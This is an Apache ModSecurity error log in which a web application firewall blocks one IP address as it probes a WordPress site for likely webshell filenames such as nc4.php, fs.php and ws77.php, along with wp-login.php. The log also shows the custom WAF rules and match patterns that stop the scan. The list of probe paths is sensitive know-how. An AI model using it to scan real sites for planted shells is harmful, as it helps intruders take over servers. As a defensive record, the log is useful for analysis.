[Thu Mar 26 14:43:35.589865 2026] [:error] [pid 60829:tid 60841] [client 20.199.101.134:11271] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acTVl_TdjHKeZokybaSLyAAAAQo"]
[Thu Mar 26 14:43:36.725004 2026] [:error] [pid 19818:tid 19835] [client 20.199.101.134:21794] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acTVmMzaSnm3d1BeM5WAKQAAAM8"]
[Thu Mar 26 14:43:38.433826 2026] [:error] [pid 31670:tid 31688] [client 20.199.101.134:36786] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acTVmjXVthXxCnWjOTQPYwAAAVA"]
[Thu Mar 26 14:43:39.340898 2026] [:error] [pid 60829:tid 60840] [client 20.199.101.134:22641] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acTVm_TdjHKeZokybaSLzwAAAQk"]
[Thu Mar 26 14:43:43.116014 2026] [:error] [pid 19711:tid 19753] [client 20.199.101.134:23418] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acTVn2j3l1y81GYfluR29QAAAEQ"]
[Thu Mar 26 14:43:44.034406 2026] [:error] [pid 31717:tid 31729] [client 20.199.101.134:7273] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acTVoL-SCF7YDISDX4-7aAAAAYc"]
[Thu Mar 26 14:43:44.988148 2026] [:error] [pid 19818:tid 19834] [client 20.199.101.134:24158] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acTVoMzaSnm3d1BeM5WAOwAAAM4"]
[Thu Mar 26 14:43:46.329139 2026] [:error] [pid 19818:tid 19833] [client 20.199.101.134:58518] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acTVoszaSnm3d1BeM5WAQgAAAM0"]
[Thu Mar 26 14:43:47.441947 2026] [:error] [pid 19818:tid 19833] [client 20.199.101.134:26836] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acTVo8zaSnm3d1BeM5WATgAAAM0"]
[Thu Mar 26 14:43:49.321801 2026] [:error] [pid 60829:tid 60845] [client 20.199.101.134:25989] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acTVpfTdjHKeZokybaSL1AAAAQ4"]
[Thu Mar 26 14:43:50.275853 2026] [:error] [pid 19818:tid 19832] [client 20.199.101.134:23702] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acTVpszaSnm3d1BeM5WAXQAAAMw"]
[Thu Mar 26 14:43:51.511136 2026] [:error] [pid 19818:tid 19822] [client 20.199.101.134:7274] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTVp8zaSnm3d1BeM5WAXgAAAMI"]
[Thu Mar 26 14:43:53.128014 2026] [:error] [pid 31780:tid 31834] [client 20.199.101.134:26040] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTVqZJDwZsy5O4ZXEhK3gAAAg0"]
[Thu Mar 26 14:43:55.490073 2026] [:error] [pid 31778:tid 31804] [client 20.199.101.134:24164] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTVqw3kybI2o-xasmC9bAAAAcs"]
[Thu Mar 26 14:43:56.394695 2026] [:error] [pid 31778:tid 31814] [client 20.199.101.134:37379] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTVrA3kybI2o-xasmC9cgAAAdU"]
[Thu Mar 26 14:43:57.420873 2026] [:error] [pid 60829:tid 60832] [client 20.199.101.134:7251] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acTVrfTdjHKeZokybaSL2AAAAQE"]
[Thu Mar 26 14:43:59.323473 2026] [:error] [pid 60829:tid 60838] [client 20.199.101.134:48193] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acTVr_TdjHKeZokybaSL3wAAAQc"]
[Thu Mar 26 14:44:00.381746 2026] [:error] [pid 31670:tid 31673] [client 20.199.101.134:48192] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acTVsDXVthXxCnWjOTQPkAAAAUE"]
[Thu Mar 26 14:44:01.477879 2026] [:error] [pid 19711:tid 19754] [client 20.199.101.134:37403] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acTVsWj3l1y81GYfluR3BgAAAEU"]
[Thu Mar 26 14:44:02.704810 2026] [:error] [pid 31778:tid 31815] [client 20.199.101.134:58533] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acTVsg3kybI2o-xasmC9kwAAAdY"]
[Thu Mar 26 14:44:03.542468 2026] [:error] [pid 31778:tid 31804] [client 20.199.101.134:62055] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acTVsw3kybI2o-xasmC9lgAAAcs"]
[Thu Mar 26 14:44:04.209734 2026] [:error] [pid 31778:tid 31808] [client 20.199.101.134:24189] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acTVtA3kybI2o-xasmC9mAAAAc8"]
[Thu Mar 26 14:44:05.176599 2026] [:error] [pid 60829:tid 60834] [client 20.199.101.134:20262] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acTVtfTdjHKeZokybaSL7gAAAQM"]
[Thu Mar 26 14:44:05.891292 2026] [:error] [pid 60829:tid 60831] [client 20.199.101.134:20255] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acTVtfTdjHKeZokybaSL8gAAAQA"]
[Thu Mar 26 14:44:06.622050 2026] [:error] [pid 19818:tid 19836] [client 20.199.101.134:58504] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acTVtszaSnm3d1BeM5WAegAAANA"]
[Thu Mar 26 14:44:07.563128 2026] [:error] [pid 31717:tid 31733] [client 20.199.101.134:26852] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acTVt7-SCF7YDISDX4-7bQAAAYs"]
[Thu Mar 26 14:44:08.496047 2026] [:error] [pid 31778:tid 31793] [client 20.199.101.134:29636] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acTVuA3kybI2o-xasmC9nAAAAcA"]
[Thu Mar 26 14:44:09.562821 2026] [:error] [pid 19711:tid 19761] [client 20.199.101.134:10562] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acTVuWj3l1y81GYfluR3GwAAAEw"]
[Thu Mar 26 14:44:11.127450 2026] [:error] [pid 60829:tid 60831] [client 20.199.101.134:29665] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acTVu_TdjHKeZokybaSL-AAAAQA"]
[Thu Mar 26 14:44:12.282592 2026] [:error] [pid 31670:tid 31675] [client 20.199.101.134:37438] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acTVvDXVthXxCnWjOTQPsAAAAUM"]
[Thu Mar 26 14:44:13.519821 2026] [:error] [pid 19818:tid 19842] [client 20.199.101.134:29667] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acTVvczaSnm3d1BeM5WAhAAAANY"]
[Thu Mar 26 14:44:14.218720 2026] [:error] [pid 31670:tid 31675] [client 20.199.101.134:62387] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acTVvjXVthXxCnWjOTQPuQAAAUM"]
[Thu Mar 26 14:44:15.125153 2026] [:error] [pid 60829:tid 60840] [client 20.199.101.134:19860] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acTVv_TdjHKeZokybaSL-gAAAQk"]
[Thu Mar 26 14:44:15.797456 2026] [:error] [pid 31670:tid 31682] [client 20.199.101.134:24547] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acTVvzXVthXxCnWjOTQPwgAAAUo"]
[Thu Mar 26 14:44:16.869542 2026] [:error] [pid 31670:tid 31692] [client 20.199.101.134:62378] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acTVwDXVthXxCnWjOTQPzAAAAVQ"]
[Thu Mar 26 14:44:18.069528 2026] [:error] [pid 31670:tid 31689] [client 20.199.101.134:50056] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acTVwjXVthXxCnWjOTQP1QAAAVE"]
[Thu Mar 26 14:44:19.204336 2026] [:error] [pid 31778:tid 31795] [client 20.199.101.134:29667] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acTVww3kybI2o-xasmC9pQAAAcI"]
[Thu Mar 26 14:44:19.800342 2026] [:error] [pid 19710:tid 19724] [client 20.199.101.134:17407] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acTVwwVEWP8Ar68Njk7fQQAAAAI"]
[Thu Mar 26 14:44:21.264589 2026] [:error] [pid 19710:tid 19730] [client 20.199.101.134:42422] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acTVxQVEWP8Ar68Njk7fSAAAAAg"]
[Thu Mar 26 14:44:22.375843 2026] [:error] [pid 31778:tid 31796] [client 20.199.101.134:26876] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acTVxg3kybI2o-xasmC9rAAAAcM"]
[Thu Mar 26 14:45:03.084648 2026] [:error] [pid 31670:tid 31677] [client 20.199.101.134:10612] [client 20.199.101.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.199.101.134, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acTV7zXVthXxCnWjOTQQewAAAUU"]
[Thu Mar 26 14:45:21.860372 2026] [:error] [pid 31670:tid 31685] [client 20.199.101.134:7758] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "acTWATXVthXxCnWjOTQQtgAAAU0"]
[Thu Mar 26 14:45:24.573071 2026] [:error] [pid 19712:tid 19790] [client 20.199.101.134:58100] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "acTWBNWhKhRNqm23vFMFXQAAAI4"]
[Thu Mar 26 14:45:26.110492 2026] [:error] [pid 19712:tid 19788] [client 20.199.101.134:15582] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "acTWBtWhKhRNqm23vFMFZQAAAIw"]
[Thu Mar 26 14:45:27.222256 2026] [:error] [pid 19818:tid 19844] [client 20.199.101.134:13192] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "acTWB8zaSnm3d1BeM5WBjAAAANg"]
[Thu Mar 26 14:45:28.075914 2026] [:error] [pid 31670:tid 31675] [client 20.199.101.134:29593] [client 20.199.101.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/app.php"] [unique_id "acTWCDXVthXxCnWjOTQQ2wAAAUM"]
[Thu Mar 26 14:45:28.896450 2026] [:error] [pid 31670:tid 31691] [client 20.199.101.134:63600] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acTWCDXVthXxCnWjOTQQ4AAAAVM"]
[Thu Mar 26 14:45:29.577888 2026] [:error] [pid 19710:tid 19722] [client 20.199.101.134:23014] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acTWCQVEWP8Ar68Njk7fcwAAAAA"]
[Thu Mar 26 14:45:30.399471 2026] [:error] [pid 19710:tid 19727] [client 20.199.101.134:53321] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acTWCgVEWP8Ar68Njk7fdgAAAAU"]
[Thu Mar 26 14:45:31.030169 2026] [:error] [pid 31780:tid 31830] [client 20.199.101.134:15590] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "acTWC5JDwZsy5O4ZXEhLhQAAAgk"]
[Thu Mar 26 14:45:31.740514 2026] [:error] [pid 31780:tid 31834] [client 20.199.101.134:15614] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "acTWC5JDwZsy5O4ZXEhLiAAAAg0"]
[Thu Mar 26 14:45:32.507182 2026] [:error] [pid 31780:tid 31832] [client 20.199.101.134:15562] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "acTWDJJDwZsy5O4ZXEhLjQAAAgs"]
[Thu Mar 26 14:45:33.134373 2026] [:error] [pid 31670:tid 31678] [client 20.199.101.134:39974] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "acTWDTXVthXxCnWjOTQQ7gAAAUY"]
[Thu Mar 26 14:45:33.834582 2026] [:error] [pid 31780:tid 31836] [client 20.199.101.134:29605] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "acTWDZJDwZsy5O4ZXEhLkQAAAg8"]
[Thu Mar 26 14:45:34.659377 2026] [:error] [pid 31670:tid 31687] [client 20.199.101.134:21486] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acTWDjXVthXxCnWjOTQQ-QAAAU8"]
[Thu Mar 26 14:45:35.338435 2026] [:error] [pid 60829:tid 60837] [client 20.199.101.134:30268] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acTWD_TdjHKeZokybaSMKgAAAQY"]
